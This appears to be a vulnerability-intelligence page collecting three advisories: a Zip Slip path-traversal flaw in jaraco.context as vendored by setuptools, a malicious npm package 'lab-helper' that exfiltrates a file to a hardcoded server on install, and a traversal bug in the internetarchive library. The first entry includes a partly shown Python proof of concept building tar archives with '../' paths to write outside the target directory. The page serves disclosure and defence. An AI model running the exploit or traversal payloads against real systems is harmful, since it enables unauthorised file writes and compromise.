Threat Intelligence Database

### Summary There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. The code can be found: - https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91 - https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited) This report was also sent to setuptools maintainers and they asked some questions regarding this. The lengthy answer is: The vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball). The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization. The short answer is: If we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection. Sampled tests: <img width="1634" height="245" alt="image" src="https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb" /> ### Details The flow with setuptools in the mix: ``` setuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable) ``` ### PoC This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm). You can run this directly after having all the dependencies: ```py #!/usr/bin/env python3 import tarfile import io import os import sys import shutil import tempfile from setuptools._vendor.jaraco.context import strip_first_component def create_malicious_tarball(traversal_to_root: str): tar_data = io.BytesIO() with tarfile.open(fileobj=tar_data, mode='w') as tar: # Create a malicious file path with traversal sequences malicious_files = [ # Attempt 1: Simple traversal to /tmp { 'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt', 'content': b'[ZIPSLIP] File written to /tmp via path traversal!', 'name': 'pwned_via_tmp' }, # Attempt 2: Try to write to home directory { 'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt', 'content': b'[ZIPSLIP] Attempted write to home directory', 'name': 'pwned_via_home' }, # Attempt 3: Try to write to current directory parent { 'path': 'dummy_dir/../escaped.txt', 'content': b'[ZIPSLIP] File in parent directory!', 'name': 'pwned_escaped' }, # Attempt 4: Legitimate file for comparison { 'path': 'dummy_dir/legitimate_file.txt', 'content': b'This file stays in target directory', 'name': 'legitimate' } ] for file_info in malicious_files: content = file_info['content'] tarinfo = tarfile.TarInfo(name=file_info['path']) tarinfo.size = len(content) tar.addfile(tarinfo, io.BytesIO(content)) tar_data.seek(0) return tar_data def exploit_zipslip(): print(\"[*] Target: setuptools._vendor.jaraco.context.tarball()\") # Create temporary directory for extraction temp_base = tempfile.mkdtemp(prefix=\"zipslip_test_\") target_dir = os.path.join(temp_base, \"extraction_target\") try: os.mkdir(target_dir) print(f\"[+] Created target extraction directory: {target_dir}\") target_dir_abs = os.path.abspath(target_dir) print(target_dir_abs) depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p]) traversal_to_root = \"../\" * depth_to_root print(f\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\") # Create malicious tarball print(\"[*] Creating malicious tar archive...\") tar_data = create_malicious_tarball(tra

The npm package 'lab-helper' versions 0.0.2 and 0.0.3 contains malicious code that executes during installation. The postinstall script runs a JavaScript file that checks if the host's IPv4 address starts with 18.175., targeting a specific subnet. If the condition is met, it reads a file named 'myfile.txt' from the installer's working directory and exfiltrates its contents to a hardcoded command and control server at http://18.175.63.47:8080/collect. This behavior indicates a targeted supply-chain attack likely aimed at specific AWS or lab environments. Any system with this package installed should be considered fully compromised, and all secrets and keys must be rotated immediately. Removal of the package does not guarantee full remediation due to potential persistence of malicious software.

internetarchive is a Python and Command-Line Interface to Archive.org In versions 5.5.0 and below, there is a directory traversal (path traversal) vulnerability in the File.download() method of the internetarchive library. The file.download() method does not properly sanitize user-supplied filenames or validate the final download path. A maliciously crafted filename could contain path traversal sequences (e.g., ../../../../windows/system32/file.txt) or illegal characters that, when processed, would cause the file to be written outside of the intended target directory. An attacker could potentially overwrite critical system files or application configuration files, leading to a denial of service, privilege escalation, or remote code execution, depending on the context in which the library is used. The vulnerability is particularly critical for users on Windows systems, but all operating systems are affected. This issue is fixed in version 5.5.1.

CriticalVulnerabilityGermanyFranceUnited Kingdom+7#cve#cve-2025-58438#cwe-22